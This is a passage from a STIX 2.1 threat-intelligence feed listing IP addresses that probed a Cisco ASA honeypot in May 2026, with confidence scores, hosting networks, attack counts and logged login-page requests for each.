            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--db6c36b8-dc39-470f-b1d8-e29a42d23a59",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '138.249.131.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T05:20:10.000Z",
      "valid_until": "2026-06-28T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T04:56:50.506Z",
          "last_seen": "2026-05-27T04:57:00.470Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--14c3563a-a64d-4304-b0a4-05b959cab127",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '141.133.45.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T05:20:10.000Z",
      "valid_until": "2026-06-28T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-27T04:24:52.753Z",
          "last_seen": "2026-05-30T12:47:56.594Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--6671bc2c-d8ff-4a12-b843-745ebbe0f5cd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.111.246.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T05:20:10.000Z",
      "valid_until": "2026-06-28T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T04:59:36.311Z",
          "last_seen": "2026-05-30T02:54:03.893Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--b956a2e1-6bc4-40ec-92b8-8f10684a7b41",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.158.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T05:20:10.000Z",
      "valid_until": "2026-06-28T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T05:05:15.485Z",
          "last_seen": "2026-05-30T04:05:16.012Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--70076618-5fb1-4de7-aa20-cbc3f143f374",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.190.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T05:20:10.000Z",
      "valid_until": "2026-06-28T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T04:31:17.094Z",
          "last_seen": "2026-05-30T10:55:02.771Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--d645b559-bf21-4e5d-8f51-8fb3d3bab7ae",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.130.185.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T05:20:10.000Z",
      "valid_until": "2026-06-28T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 35,
          "first_seen": "2026-05-27T04:56:23.621Z",
          "last_seen": "2026-05-30T13:48:28.759Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--4f5ee633-a9af-4e1c-8e54-afbb212b01ef",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '104.165.128.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T06:20:10.000Z",
      "valid_until": "2026-06-28T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 8,
          "first_seen": "2026-05-27T05:23:20.046Z",
          "last_seen": "2026-05-27T11:40:54.342Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--51940032-0424-433b-bc61-fdccc5ac52f0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '135.106.26.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T06:20:10.000Z",
      "valid_until": "2026-06-28T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T05:39:06.521Z",
          "last_seen": "2026-05-29T20:38:59.345Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--5ddae45f-c3fb-48c0-8f76-c7ef8acfec26",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.252.121.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T06:20:10.000Z",
      "valid_until": "2026-06-28T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T06:10:53.130Z",
          "last_seen": "2026-05-29T23:58:10.296Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--e9ff17ff-85aa-41c1-8d80-6315be8be0e5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '166.1.255.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T06:20:10.000Z",
      "valid_until": "2026-06-28T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T05:45:32.632Z",
          "last_seen": "2026-05-30T13:44:55.892Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--5aba215a-f630-4f86-b7a1-a6010687acdf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.182.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T06:20:10.000Z",
      "valid_until": "2026-06-28T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-27T06:05:01.436Z",
          "last_seen": "2026-05-27T15:01:46.549Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--4812251e-c691-4755-bd0a-ab351da4ba8b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.218.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T06:20:10.000Z",
      "valid_until": "2026-06-28T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T05:40:21.487Z",
          "last_seen": "2026-05-27T20:18:25.677Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--9011f9e4-6937-48bd-bb11-4b0bafae40c2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.57.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T06:20:10.000Z",
      "valid_until": "2026-06-28T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 75,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 28,
          "first_seen": "2026-05-27T06:13:03.826Z",
          "last_seen": "2026-05-30T15:26:48.569Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--68f79f6f-89b7-4ea7-aa8d-9ef2e42fabd0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '186.246.60.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T06:20:10.000Z",
      "valid_until": "2026-06-28T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T05:36:50.457Z",
          "last_seen": "2026-05-27T05:37:01.790Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--30c48a04-2885-4203-be0b-6d97578f5f18",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '194.35.127.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T06:20:10.000Z",
      "valid_until": "2026-06-28T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-27T06:16:10.938Z",
          "last_seen": "2026-05-30T00:49:48.493Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: NL; ASN 3920 (PUSHPKT OU)",
      "id": "indicator--0f54f929-1765-42a3-af8f-4794f56ae080",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.49.228.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T06:20:10.000Z",
      "valid_until": "2026-06-28T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-27T06:19:34.382Z",
          "last_seen": "2026-05-27T06:19:34.382Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 3920,
          "as_org": "PUSHPKT OU",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--35ea7384-d07b-4618-8382-08ab0ba51796",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '130.49.94.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T07:20:10.000Z",
      "valid_until": "2026-06-28T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T06:53:48.128Z",
          "last_seen": "2026-05-31T03:44:14.200Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--f545c018-8189-4942-a0c9-94a203198cbb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '141.133.126.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T07:20:10.000Z",
      "valid_until": "2026-06-28T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T07:16:40.822Z",
          "last_seen": "2026-05-29T08:02:34.897Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--624f61cf-c2ea-46da-8e27-a4c353c5401e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '141.133.47.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T07:20:10.000Z",
      "valid_until": "2026-06-28T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T06:53:06.438Z",
          "last_seen": "2026-05-29T20:20:55.823Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--5c0fcdd2-10fc-41ea-aee8-c7ede251b971",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '186.243.147.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T07:20:10.000Z",
      "valid_until": "2026-06-28T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
